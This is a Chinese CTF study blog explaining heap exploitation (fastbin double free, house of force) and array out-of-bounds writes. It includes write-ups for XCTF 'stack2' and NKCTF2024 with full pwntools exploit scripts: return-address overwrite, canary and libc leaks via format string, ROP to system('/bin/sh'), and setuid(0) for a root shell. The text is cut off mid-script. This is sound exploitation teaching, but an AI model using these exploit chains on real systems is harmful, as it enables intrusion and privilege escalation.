在一个程序中先申请了3个堆块,A·B·C,大小都为8,我们在使用之后将其free掉,但是在free的过程中时,由于这些堆块的大小为8,故在被free调后会被放入到fast bin中,在这里这些堆的排列方式与栈上数据的排列方式相反,先进先出,后进后出。我们在使用完A,B,C这中3个堆块后,先free(A),此时A这个堆块便会被放入fast bin中,然后在free(B),B这个堆块变会被放入A堆块的下方,然后再我们在free(A),虽然我们在之前已经free过了,但这里程序并不会报错而是继续执行下去,导致在fast bin中出现一下情况

image-20240512150800024

在fast bin有两个A堆块(这里并不能直接对A堆块连续free两次,中间还是要加上一个其他堆块的),由之前的关于堆的分配,我们这里如果在向程序申请3个堆块并且大小相同的情况下,程序会直接从fast bin中分配出去,这里假设我们再次申请,D,E,F,3个大小都为8的堆块。根据fast bin中后进后出的顺序,程序会从上往下对fast bin在分配,于是问题便出现了,在fast bin中有两个A堆块,但是程序不知道,于是程序便会,将这段A地址进行两次分配。导致D和F分配的堆块都是之前的A的地址,这两个指针也同时指向这个地址,使得我们可以使用其中一个对宁外一个指针的内容进行修改,从而到达我们漏洞的使用。

使用这种方式攻击栈

在之前的第二次对堆块的申请中,如果我们申请两次将fast bin下面的A和B申请掉,导致fast bin中还有一个A堆块,但是由于我们之前已经将A堆块申请为D的堆块,那么此时fast bin中的指针和D这个指针会同时指向原本的A的堆块的地址,而我们通过D指针对A进行修改时,会同时对fast bin指向的地址一起修改。

由于在fast bin中堆块的链接是通过其中的fd控制字段指向下一个堆块的起始地址从而实现链接的。

这里虽然fast bin和D指向的是同一块地址区域,但是由于D指向的是一块能使用的chunk,而fast bin指向的是一块free chunk,这两者的区别就在于free chunk多了一个fd的控制字段,在fast bin中用于指向下一个free chunk的起始地址。

image-20240512165122150

但是在D中的chunk由于不是free chunk,没有fd字段,程序为了最大的利用率于是变会在将A堆块分配给D是将fd字段一同加入到数据段中,因此我们在通过D指针对A堆块进行修改时,最先输入的字节的内容在fast bin指向的A堆块中会自动被识别为fd的值,作为指向下一个free chunk的指针。这里D指针指向的和fast bin中的A堆块是同一个地址,故我们在使用D指针修改时能同时修给fast bin中的值。

这里由于程序不会对我们输入fd进行检查,于是我们便可以对我们输入到A堆块的最开始的字节的数据做手脚,从而是fast bin中的链接的free chunk的值再多一个,而这多出来的便是我们自行输入修改的。

假设我们需要对栈上的某一块地址进行修改,我们便可以先使用D指针向A堆块输入要修改的栈的地址的上两个字节的地址,然后在fast bin中A堆块的便会将fd字段也修改成那个栈上的地址。导致程序误以为在fast bin中多了一个free chunk,然后当我们再向程序申请堆块时,如果申请的长度与A的大小相同,程序变回将fast bin中的A再次分配出去,然后我们再一次申请堆块时,由于fast bin中A堆块已经分配出去,而原本A堆块中fd字段指向的是栈上的地址,于是这一次对堆的申请,程序会将fast bin中最近是栈的地址空间当做可用的free chunk,从而分配出去。以供我们进行修改,但是由于这里程序依然是将栈上的地址作为堆块分配出去,然后fd这个字段指向的地址是堆块的开头地址,因此栈上的地址依然会有两个字节被程序认为是chunk的prev size和size字段,而不能使用,只有两个字节下面的地址才是数据段,才能被我们所修改。因此我们在对A堆块fd修改时,要输入的是要修改的栈上地址的上面两个字节的地址才能在后面malloc到栈上地址,修改时修改到我们需要的数据。

image-20240512173005244

大致的结构如上图,通过对A中的fd的修改,使得fast bin中能指向栈上地址,然后通过对fast bin中的堆的申请,从而申请到栈上的地址做为堆块用于使用,对这个堆块修改,从而间接修改栈上的内容。

house_of_force

通过堆溢出,将top chunk的大小标记为整个地址空间。然后在通过malloc到我们需要修改的地址空间,再此malloc使程序将我们需要修改的地址空间当做chunk分配给我们,然后修改。

top chunk

  • 概念:当一个chunk处于一个arena的最顶部(即最高内存地址处)的时候,就称之为top chunk。
  • 作用:该chunk并*不属于任何**bin,而是在系统当前的所有free chunk(无论那种bin)都无法满足用户请求的内存大小的时候,将此chunk当做一个应急消防员,分配给用户使用。
  • 分配的规则:如果top chunk的大小比用户请求的大小要大的话,就将该top chunk分作两部分:1)用户请求的chunk;2)剩余的部分成为新的top chunk。否则,就需要扩展heap或分配新的heap了——在main arena中通过sbrk扩展heap,而在thread arena中通过mmap分配新的heap。

一般来说当我们在程序中malloc一个堆块后,程序分配给我们的chunk其上方就是top chunk的区域,其中包含的就是空闲状态的chunk,方便下次需要chunk时能快速调用。这两个chunk在程序中分配图如下:

在chunk中数据的填入,与下图中的箭头方向相同,从下往上填入。

image-20240516164904604

如果在我们得到的这个chunk中有堆溢出漏洞的发生,那么我填入的数据便会一直向上填入,在填入的过程中便会将top chunk的原数据覆盖,由于在top chunk中不会对数据进行检查判断是否被篡改,因此当我们填入的数据将top chunk中的size值覆盖为程序整个地址空间大小(32位是4gb,64位是8gb)时,程序会认为整个地址空间都是top chunk,导致我们在下次malloc时,程序在top chunk中寻找是否满足大小时,由于top chunk的size已经被我们修改为程序的整个地址空间了,于是程序会认为整个地址空间都是能被分配的chunk,于是我们在第二次malloc时无论需要的chunk大小是多少程序都会在分配给我们。

于是我们便可以直接从原本的top chunk的地址malloc一个新的chunk,并使这个新的chunk长度为从top chunk的起始地址到我们需要修改的栈上地址的起始空间的前两个字节的长度(在下一次malloc中需要两个字节作为prev size和size,使得我们需要修改的地方能直接成为我们chunk中的数据段,从而直接修改),使得程序将这一段空间作为chunk分配给我们(主要是为了下一次malloc时能直接将要修改的地址分配给我们使用不用将中间的数据区别覆盖·,这个起到一个垫脚石的作用),然后再malloc一段空间,使得程序将栈上的空间作为chunk提供给我们使用。,我们向这个chunk输入数据,从而修改栈上的数据到达目的。

image-20240516172821078

如果我们要修改得时date段的数据,那便要malloc的长度将使一个负数(date段的数据在chunk的下方),由于我们在之前的覆盖中已经将top chunk中的size的大小表为整个地址空间,于是我们在malloc一个负数时,程序会将top chunk的起始地址向下移动这个负数的长度。然后我们再malloc一个正数时,程序便会从我们刚刚移动过的top chunk的头地址可是分配一个相应大小的chunk以供使用。

因此我们只在栈溢出后malloc一个负数,其大小就是从top chunk的起始地址到要修改的date段地址的下两个字节的距离的负数(两个字节作为下个chunk的前两个控制字段),然后再malloc一个正数的chunk,输入数据便可以达到我们的目的。

image-20240516175155536

有关于各个bin的chunk进入与分配结构

tcachebins:

先进后出,后进先出

image-20240620150551052

分配的时候将从chunk4开始分配依次分配到chunk1。

unsortedbin

先进先出,后进后出。

image-20240620150930731

分配的时候从chunk1开始依次分配到chunk4。(要注意这几个chunk如果大小相同,并且相临,那么进入到unsortedbin后会直接合并为一个大chunk,然后在要分配时直接切割这个大chunk)

数组越界

昨天在攻防世界刷题的时候,无意之间找到一道题,不算难,就是一道很基础的栈溢出的题目,不过这个栈溢出的方式在我之前做的题里边还没怎么遇见,今天把他全部整出来了,故写这篇博客记录一下这方法和这道题的wp

放一下题目的连接攻防世界 (xctf.org.cn),是这里面pwn的stack2题目

image-20240330110056677

知识点

在这道题中用到的栈溢出的方法便是这篇博客的题目,数组越界

我们知道在C语言之中有一种叫数组的东西,就像int a[9]=0,这样的(字母[数字])便叫数组,数组一般在定义的时候变会在栈上规划好一片空间,用于专门放数组内的数,一般来说,我们如果在调用数组的时候要对数组中的数进行我们需要的定义时,会可能使用如下的定义方式

1
2
3
4
5
6
int i=0
int b=0
int a[10]=0
scanf("%d",$i)
scanf("%d",$b)
a[i]=b

即对于数组的第几位和大小都由自己进行定义,这样的定义虽然很方便,但有一个巨大的问题在于在我们一开始的时候便对数组已经下好了定义,而程序在下定义时便已经将栈上的空间分配好了,而我们定义的数组也是只有固定的大小,就像在上面的代码中我们定义的数组是int a[10]=0,那么便只有a[0]到a[9]的长度是在栈上用于存放这个数组的长度的,其他的栈空间,都有属于他们自己的命令与作用,

但是,如果在程序中使用了如上的自定义数组的方式,由于C语言对我们有很大的信任,这样的定于在编译时是不会报错的,但如果我们在定义第几个数组i的这里超过了本来定义好的数组的长度,程序中没有对这个进行长度检查的方式,于是程序会直接就按你发送的长度在栈上找到相应的地方将你之后输入的内容存放进去。

于此,数组越界的利用方式便出来了,当我们可以对数组的第几个数进行自定义时,程序并不会检查是否超过数组的长度,而是依然在栈上寻找输入的相应的地址将要存放的内容存放进去,但是我们知道在数组定义之初,栈上的空间便是以经分配好的了,出了数组相应的空间,栈上的其他空间都存放有相应的数据与命令,而数组越界让我们有了将栈上其他空间的数据改变的能力。

当数组越界发生时,只要我们知道发生越界的这个数组开头与我们需要改变的栈上的数据的地址的距离,便可以在一开始输入数组个数时将距离输入,程序变回自动将这个距离指向的地址找到,然后我们在输入要存放数据,程序变会将会那个地址里存放的内容改为我们输入的数据,但是栈上存放的很大一部分是我们在后面需要执行的数据,特别像ret等命令执行完成之后,esp寄存器所指向的便是程序要执行的命令所存放的地址如下,程序在执行ret命令之前变回将下一步的命令的地址放在esp寄存器中

image-20240330142352990

因此,只要我们在知道程序中数组的开头地址,与在执行完这一段包含数组的命令的最后ret命令时,esp寄存器的值,算出差值,在程序执行的过程中将差值输入其中并将其内容改为需要执行的数值,便完成对程序执行的控制,达成栈溢出的目的。
以上便是关于栈溢出中数组越界的基本知识点与利用,如果你看了还是不太明白,你可以选择在网上看看其他大佬写的,以上只是我个人的理解与想法,或许有不对的欢迎指出。

接下来便以一道题来做解。

stack2的wp

来吧,来看看这道关于数组越界的题怎么样,老规矩先checksec一下

image-20240407215101037

还好pie没开,放到ida里看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned int v5; // [esp+18h] [ebp-90h] BYREF
unsigned int v6; // [esp+1Ch] [ebp-8Ch] BYREF
int v7; // [esp+20h] [ebp-88h] BYREF
unsigned int j; // [esp+24h] [ebp-84h]
int v9; // [esp+28h] [ebp-80h]
unsigned int i; // [esp+2Ch] [ebp-7Ch]
unsigned int k; // [esp+30h] [ebp-78h]
unsigned int m; // [esp+34h] [ebp-74h]
char v13[100]; // [esp+38h] [ebp-70h]
unsigned int v14; // [esp+9Ch] [ebp-Ch]

v14 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
v9 = 0;
puts("***********************************************************");
puts("* An easy calc *");
puts("*Give me your numbers and I will return to you an average *");
puts("*(0 <= x < 256) *");
puts("***********************************************************");
puts("How many numbers you have:");
__isoc99_scanf("%d", &v5);
puts("Give me your numbers");
for ( i = 0; i < v5 && (int)i <= 99; ++i )
{
__isoc99_scanf("%d", &v7);
v13[i] = v7;
}
for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
__isoc99_scanf("%d", &v6);
if ( v6 != 2 )
break;
puts("Give me your number");
__isoc99_scanf("%d", &v7);
if ( j <= 0x63 )
{
v3 = j++;
v13[v3] = v7;
}
}
if ( v6 > 2 )
break;
if ( v6 != 1 )
return 0;
puts("id\t\tnumber");
for ( k = 0; k < j; ++k )
printf("%d\t\t%d\n", k, v13[k]);
}
if ( v6 != 3 )
break;
puts("which number to change:");
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7;
}
if ( v6 != 4 )
break;
v9 = 0;
for ( m = 0; m < j; ++m )
v9 += v13[m];
}
return 0;
}

这道题的主函数在这里,但同时这道题是有后门函数存在的,

image-20240407215605571

便不再需要自己去构造后门函数,还算方便,只要能将函数的执行劫持到这个后门函数的这里便能得到shell。这里仔细看会发现有一个问题,system函数执行的内容是/bin/bash而不是/bin/sh,如果这直接跳转到这里其实是不能拿到shell的,这里看了网上的说法,好像是因为这个题的出题人整错了,才出现的这个问题, 不过也能做,就是将程序的执行过程进行构造,将sh直接传入system函数中也能像执行system(/bin/sh)一样拿到shell。并且这个程序是32位的程序,不用使用寄存器进行传值,直接传就行,

1
paylaod=b'A'*垃圾值+p32(system函数地址)+p32(sh的地址)

最开始做的时候便是将这个忘了,整成先是sh后是system,这里说明一下。

这道题的大致思路就是,在一开始时先输入我们要输入的数的个数,然后便开始依此输入我们要输的数,只后便会出现5个选项,1是将我们输入的数打印在屏幕上,2是增加一个新的数,4是直接将我们输入的数据的和打印在屏幕上,5是结束程序,还有一个3便是我们的漏洞所在。

这里如果进入3的选项,用于改变之前输入的数据,首先让我们输入我们要改变的数据的位置,既我们要改变的数据在之前输入的数据中排第几,然后便让我们输入改变后的数据,

这里看起来好像没有什么问题,但仔细看看会发现这里是要我们先输入要改变的数据在之前输入的数据中所排的位置然后在输入要改变的数据,这里有个巨大的问题在于程序并没有对我们输入的位置进行检测,而是完全信任我们输入的位置,因此理论上来说我们可以输入无限大的数据,程序都会为我们找到我们输入的大小在程序中相对最开始我们输入的数据的存放位置的偏移,然后再录入我的新数据。形成上文中的数组越界漏洞。

因此在这里只要我们能找到在最开始我们输入的数据存放的最开始的地方,与之后程序ret要到的地方,计算这两个地方的偏移量,然后以及改变ret后要到的地方的地址为我们要执行的程序的地址,便可以形成shell。

在修改后要执行的程序在前文中已有提及,便是

1
system函数的地址+sh的地址

这两个数据都是很好拿倒的,现在的问题在于寻找最开始输入的数据的存放位置,与我们要改变的数据的位置。

0xffffd03c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
#io=process('./pwn1')
io = remote("61.147.171.105",55356)
context.log_level = 'debug'
#gdb.attach(io,'b *0x80487F3')
#pause()

io.sendlineafter('have:\n',b'1')

io.sendlineafter('numbers\n',b'1')


def send(addr,num):
io.sendlineafter("5. exit\n",'3')
io.sendlineafter("which number to change:\n",str(addr))
io.sendlineafter("new number:\n",str(num))

office=0x84

send(office+8,135)
send(office+9,137)
send(office+10,4)
send(office+11,8)

send(office,80)
send(office+1,132)
send(office+2,4)
send(office+3,8)

io.sendlineafter("5. exit\n",'5')

io.interactive()

NKctf2024 第一题

这是一道之前在有个周末的比赛中的题,比赛是NKCTF2024,网站已经没有了,算是一个战队的招新比赛吧,不过算是一道比较简单的题,主要的漏洞就是格式化字符串漏洞和一个栈溢出,相较于之前那些动不动就上堆的题目好了不止一点,虽然在最后的时候还会有一个特别坑的地方,不够这就已经是后话了,等到的时候再慢慢说。

老规矩,先checksec一下程序,保护全开,有点难整,不过还是丢到ida里面去看看怎么样,

image-20240328153030882

这是在ida里面的主函数的样子

image-20240328153438575

有canary保护,主要程序一上来就是一个无限循环的函数,便开始跟随程序的过程一步一步来,先看sub_1289()这第一个函数,感觉像解决缓冲区的函数,

image-20240328153959045

果然是一个用于解决缓冲区的函数,不过问题是在代码的最后几行使用了,seccomp函数,这个函数一般是用来开起沙箱保护,关于具体使用沙箱禁止了哪些函数可以用工具直接查看,关于工具的使用如下

1
seccomp-tools dump ./文件名

关于这个工具,如果一个程序开启了沙箱,这会出现类似如下的情况,如果没开则会直接进入程序的执行过程

这道题的沙箱结果如下,

当时我第一次分析的时候,不理解这个沙箱的含义,误以为这个题是只能进行open函数的系统调用,导致做了一个下午的无用过,这里便将这个工具的大概讲一讲避免下次还出现这样的傻13问题

image-20240328155823265 image-20240328154528444

关于这个工具的具体是嘛,我已不太懂,不过现在大概明白该怎么看这个工具的使用,像这道题中就有A==open就跳转0007,而0007的内容便是kill像这种便是将open函数紧用,而其他的函数都是可以用的。如果还有其他函数后面跟的数字在前面的表中的最后是kill这这个函数便是禁用的,其他的函数便是可以用的,像这题便是可以通过system等系统调用从而进行拿到远程服务器的shell,但同时禁用的open便不再能使用orw的办法将远程的flag直接读到屏幕上。

现在便在次回到一开始的main函数中,开始执行,会要我们输入点东西,只是这个有限制,只能输入1和2并且输入2还没有什么用,暂时会回到程序一开始输入的地方,我们便只能输入1,进入到sub_188c()这个函数中,

image-20240328162015627

很明显这个函数中没有什么可以用的地方,但是当我们回到main函数中,找到sub_19EA()函数并进入其中,会发现直接出现了一个格式化漏洞,如下,

image-20240328162412607

很明显关这一个格式化漏洞变可以将canary和pie保护都给绕过,还可以将程序的libc_base地址暴露出来,配合同题目一起下载的libc版本,大部分栈的问题基本就解决了,虽然在这里能read的数据才只有8字节,能暴露的数据好像挺少的,但别忘了在main函数中这是一个巨大的无限循环函数,只要在执行完这个函数后再回到之前的地方,然后在执行会来便可以有多暴露几个地址。同时查看这个函数中的sub_1984()函数会发现,又有新的漏洞。

在这里我们想要进入sub_1984()函数之前还会有一个判断,当dword_504c < dword_5010会直接进入exit中从而结束进程,因此我们要保证dword_504c > dword_5010从而顺利进入sub_1984()函数,而这两个数dword_5010的大小为11682,而dword_504c则和之前的一个函数中的过程有关系,到之后在讲,反正要保证在执行这个函数之前dword_504c的值一定要大于11682。

image-20240328162449070

在这里有一个致命的漏洞,便是栈溢出,可以读0x80的数据但buf只能放0x30的数据,在结合之前的格式化字符串漏洞,将canary绕过,然后执行system(/bin/sh)便可以直接拿到shell。

那现在便要回到main函数中,看怎么才能到sub_19EA()中,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
int v3; // [rsp+0h] [rbp-10h] BYREF
int v4; // [rsp+4h] [rbp-Ch]
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
sub_1289();
v4 = 0;
while ( 1 )
{
while ( 1 )
{
sub_134F();
__isoc99_scanf("%d", &v3);
if ( v3 != 1 )
break;
sub_188C();
v4 = 1;
}
if ( v3 == 2 && v4 )
{
sub_19EA();
}
else
{
if ( v3 != 2 || v4 )
{
puts("Invalid option.");
exit(0);
}
puts("Calculate your rating first.");
}
}
}

在这里可以很明显看出来,要进入到其中必须保证输入的v3==2&&v4,而如果一开始就输入2那v4的值为0,将不会成立,因此要先执行v3==1是的所有函数并成功退出来,使v4==1,然后将v3输入2,才能进入其中,

于我们便进入sub_188C()函数中去寻找如何能过顺利通过这个函数,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
unsigned __int64 sub_188C()
{
double v0; // xmm0_8
int v1; // eax
int v3; // [rsp+8h] [rbp-28h]
int i; // [rsp+Ch] [rbp-24h]
double v5; // [rsp+10h] [rbp-20h] BYREF
double v6; // [rsp+18h] [rbp-18h]
char v7[5]; // [rsp+23h] [rbp-Dh] BYREF
unsigned __int64 v8; // [rsp+28h] [rbp-8h]

v8 = __readfsqword(0x28u);
v6 = 0.0;
puts("Input chart level and rank.");
for ( i = 0; i <= 49; ++i )
{
__isoc99_scanf("%lf %s", &v5, v7);
v0 = v5;
if ( v5 == 15.0 )
{
v1 = v3++;
if ( v1 == 2 )
{
puts("Invalid.");
return v8 - __readfsqword(0x28u);
}
}
sub_1633(v7);
v6 = v0 * v5 + v6;
}
dword_504C = (int)v6;
puts("Calculation Done.");
return v8 - __readfsqword(0x28u);
}

在第一次看这里的时候会发现是个有50次循环的函数,每一次都需要输入一个双精度浮点数(小数,121.22)和字符,然后好像只要输入的双精度浮点数是15.0,便可以满足第一个判断条件,使v1==v3++,由于输入时的v3为1那此时v1变等于2,满足条件,进入函数中,然后返回去。

这个如果是像上面想的一样就好了,但在运行时会发现并不是这样的,他依然会再次循环,重新输入两个数,因此不在想通过满足条件的方法返回,干脆直接写一个函数运行50次。进行50次的输入,从而完成循环,返回main函数。

在这里有一个函数是关于我们输入的字符v7的,如下

image-20240328185516369

这段代码看起来是一个简单的映射函数,根据输入的不同字符串返回不同的64位整数值。我们在运行时喂了满足要求,便可以将之前那个循环中的要输入的字符串,定为这里面的随机一个(C,D,A,B任选一个便可以)。

再往下面看会有两行有趣的代码:

1
2
v6 = v0 * v5 + v6;
dword_504C = (int)v6;

在前面的代码可以知道,v5是我们输入的数,v0==v5,在执行这里前v6=0,因此dword_504C值等于我们再循环中输入的最后一次的数的平方,然后在后面我们为了要进入那个漏洞函数必须要保证dword_504c的值一定要大于11682,因此我们写入得数可以考虑大一点,方便后面直接进入栈溢出函数,

于此便可以写出能进入sub_19EA()函数的脚本

1
2
3
4
5
6
p.sendlineafter(b'Select a option:\n',b'1')

for i in range(50):
p.sendline('111.0 SSS+')

p.sendlineafter(b'Select a option:\n',b'2')

自此便能顺利进入sub_19EA()函数中,进行地址的泄露,和栈溢出,这里边不在多讲,比较简单,只要注意的在与,当到栈溢出时候,只要不溢出,便又会回到main函数,并且这里由于之前已经将1中的过程过了便可以不在过1,直接进行2进入到格式化漏洞出。

具体的看exp便可以,然后在exp中由于在一开始写的时候将沙箱的内容看错,因此有的写的多了,在真正用的并不是全部的,有的可以删去,并没有删(太懒了不想动了),并且有的地方可以写成函数已没有,因此重复的地方有点多(python有点差了·,找时间补一下)具体的自己看吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
from pwn import *
p = process("./pwn1")
#p = remote("node.nkctf.yuzhian.com.cn", 38793 )
context(log_level = 'debug' ,arch = 'amd64')

#gdb.attach(p,'b $rebase(0x19e8)')
#pause()
#在这题中由于开启了PIE保护,故要下断点必须加上$rebase()

p.sendlineafter(b'Select a option:\n',b'1')

for i in range(50):
p.sendline('111.0 SSS+')
p.sendlineafter(b'Select a option:\n',b'2')
#以上是进入漏洞函数

p.sendlineafter(b'nickname.\n',b'%11$p')
p.recvuntil('0x')
canary =int(p.recv(16),16)
print('canary: ',hex(canary))
#将canary的值暴露出来,方便栈溢出

p.sendlineafter(b'maimai?\n',b'0')
#为了回到main函数中,随便读入数据进去

p.sendlineafter(b'Select a option:\n',b'2')

p.sendlineafter(b'nickname.\n',b'%33$p')
p.recvuntil('0x')
libc_start_main_128=int(p.recv(12),16)
print('libc_start_main_128: ',hex(libc_start_main_128))
libc_start_main=libc_start_main_128-128
print('libc_start_main: ',hex(libc_start_main))
#将libc_base的值暴露出来,先随便暴露一个函数的got表地址

#elo=ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
elo=ELF('libc.so.6')
libc_start_main_libc=elo.symbols['__libc_start_main']
print('__libc_start_main_libc',hex(libc_start_main_libc))
open_libc=elo.symbols['open']
print('open_libc',hex(open_libc))
setuid_libc=elo.symbols['setuid']

#通过链接libc库从而找到暴露的函数的偏移量,以及需要的函数的偏移量

pop_rdi_ret_libc=0x2a3e5
pop_rsi_ret_libc=0x2be51
pop_rbp_ret_libc=0x2a2e0
pop_rdx_pop_r12_ret_libc=0x11f2e7
#在库中找到的pop指令,便于payload的使用


base_libc=libc_start_main-libc_start_main_libc
print('base_libc',hex(base_libc))
open = open_libc+base_libc
print('open: ',hex(open))

pop_rdi_ret=pop_rdi_ret_libc+base_libc
pop_rsi_ret=pop_rsi_ret_libc+base_libc
pop_rbp_ret=pop_rbp_ret_libc+base_libc
pop_rdx_pop_r12_ret=pop_rdx_pop_r12_ret_libc+base_libc
#确定真实地址

p.sendlineafter(b'maimai?\n',b'0')

p.sendlineafter(b'Select a option:\n',b'2')

p.sendlineafter(b'nickname.\n',b'%8$p')
p.recvuntil('0x')
zhan=int(p.recv(12),16)
print('zhen: ',hex(zhan))
flag=zhan-0x70
print('flag: ',hex(flag))
#为了暴露程序指令的真实地址

p.sendlineafter(b'maimai?\n',b'0')

p.sendlineafter(b'Select a option:\n',b'2')

p.sendlineafter(b'nickname.\n',b'%9$p')
p.recvuntil('0x')
cx_libc=int(p.recv(12),16)
print('cx_libc: ',hex(cx_libc))

cx_base=cx_libc-0x1b25
print('cx_base: ',hex(cx_base))
#暴露栈地址(这个和上面那个其实都可以不要)

syscall = base_libc + 0x0000000000091316
pop_rax = base_libc + 0x0000000000045eb0

read_cx=0x1150
puts_cx=0x1110
bss_cx=0x5070
leave_cx=0x19E8
main_cx=0x1984
main=main_cx+cx_base
leave=leave_cx+cx_base

exe = base_libc + 0xebc8
puts = cx_base + 0x4FB0
str = base_libc + next(elo.search(bytes('/bin/sh', 'utf-8')))
sys_ = base_libc + elo.symbols['system']
ret = base_libc + 0x29139


print('leqave: ',hex(leave))
read_plt=read_cx+cx_base
print('read_plt: ',hex(read_plt))
puts_plt=puts_cx+cx_base
print('puts_plt: ',hex(puts_plt))
bss=bss_cx+cx_base
print('bss: ',hex(bss))

setuid_libc=elo.symbols['setuid']
setuid=setuid_libc+base_libc
#cat os.setuid(0)

payload=b'A'*0x28+p64(canary)+p64(0)
#栈溢出的基本准备,从输入到canary的长度的垃圾数据+canary的值+覆盖ebp的8字节垃圾数据

payload += flat(ret,pop_rdi_ret, str, ret,sys_)
#以此在栈溢出后执行system(/bin/sh)然后获得shell

p.sendafter(b'maimai?\n',payload)
p.interactive()



使用如上的脚本然后攻击便可以拿到服务器的shell但是当你直接运行这个拿到shell准备开始读取flag文件是会发现权限不足,并且在其中将chmod等加权的命令禁止,这里便是我看来这道提最为难受的地方,以及拿到shell但由于flag文件的读取需要root权限导致到嘴的鸭子没了,就眼睁睁看着flag文件就在面前却读取不了,当时在比赛中这题我到这里是已经是最后10分钟了,由于我在之前并没有接触过这个东西,因此及时到结束都依然存在flag读不出来这个问题。

image-20240328205758246

后来在学长的指导下才知道这个知识点,也算是收货了一波新知识。

关于这个知识先来看一个点,在拿到shell后由于ls类命令还是可以使用的边可以看看个个文件的权限。用ls -ld的指令

image-20240325200803566

在这里边更可以看出此时的flag文件只有一个root用户的rw权限,而此时我们的权限只是一个低用户的权限,故我们并不能之前读取这个文件,同时这个里面还将chmod等加权命令禁止了,故必须想其他的办法,我们便从新看看这个各各文件的权限,会发现在pwn这个文件中有一个其他文件都没有的权限s,而pwn正是我们所攻击的文件,或许这个pwn文件的s权限说不定便是一个比较特殊的突破口。

首先来小小的介绍这个s权限是什么(大量源于网上内容,可能不真)

s权限: 设置使文件在执行阶段具有文件所有者的权限,相当于临时拥有文件所有者的身份. 典型的文件是passwd. 如果一般用户执行该文件, 则在执行过程中, 该文件可以获得root权限, 从而可以更改用户的密码.

举个简单的例子,某个可执行文件foo,如果起所有者为root,在其权限为普通的x的时候,该文件被执行的时候,是以执行该文件的用户权限在执行。但是将其设置为s的时候,该文件被执行就是以root权限来执行了。

s权限的作用:表示对文件具用可执行权限的用户将使用文件拥有者的权限或文件拥有者所在组的权限在对文件进行执行

简单来说就是当一个文件拥有s权限后便可以在通过一下特殊的执行后可以获得root的用户权限

诶,这一听是不是刚刚好,只要我们能通过这个特殊的调用然后执行这个文件不就刚刚好有root权限级的shell从而能读取flag的内容,可是问题在于这个特殊的调用是什么?

正是setuid 位

当使用 setuid (设置用户 ID)位时,之前描述的行为会有所变化,所以当一个可执行文件启动时,它不会以启动它的用户的权限运行,而是以该文件所有者的权限运行。所以,如果在一个可执行文件上设置了 setuid 位,并且该文件由 root 拥有,当一个普通用户启动它时,它将以 root 权限运行。显然,如果 setuid 位使用不当的话,会带来潜在的安全风险。

使用 setuid 权限的可执行文件的例子是 passwd,我们可以使用该程序更改登录密码。我们可以通过使用 ls 命令来验证:

1
2
ls -l /bin/passwd
-rwsr-xr-x. 1 root root 27768 Feb 11 2017 /bin/passwd

简单来说就是,就是使用setuid函数,准确来说便是在栈溢出后执行setuid(0),然后再执行system(/bin/sh)

便可以拿到有root级的shell,而这个setuid函数可以直接在libc库中寻找

1
2
3
4
elo=ELF('libc.so.6')
setuid_libc=elo.symbols['setuid']
setuid=setuid_libc+base_libc
payload=flat(pop_rdi_ret,0,stuid,用于拿到shell的过程)

因此这道题的完整版exp为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
from pwn import *
p = process("./pwn1")
#p = remote("node.nkctf.yuzhian.com.cn", 38793 )
context(log_level = 'debug' ,arch = 'amd64')

#gdb.attach(p,'b $rebase(0x19e8)')
#pause()
#在这题中由于开启了PIE保护,故要下断点必须加上$rebase()

p.sendlineafter(b'Select a option:\n',b'1')

for i in range(50):
p.sendline('111.0 SSS+')
p.sendlineafter(b'Select a option:\n',b'2')
#以上是进入漏洞函数

p.sendlineafter(b'nickname.\n',b'%11$p')
p.recvuntil('0x')
canary =int(p.recv(16),16)
print('canary: ',hex(canary))
#将canary的值暴露出来,方便栈溢出

p.sendlineafter(b'maimai?\n',b'0')
#为了回到main函数中,随便读入数据进去

p.sendlineafter(b'Select a option:\n',b'2')

p.sendlineafter(b'nickname.\n',b'%33$p')
p.recvuntil('0x')
libc_start_main_128=int(p.recv(12),16)
print('libc_start_main_128: ',hex(libc_start_main_128))
libc_start_main=libc_start_main_128-128
print('libc_start_main: ',hex(libc_start_main))
#将libc_base的值暴露出来,先随便暴露一个函数的got表地址

#elo=ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
elo=ELF('libc.so.6')
libc_start_main_libc=elo.symbols['__libc_start_main']
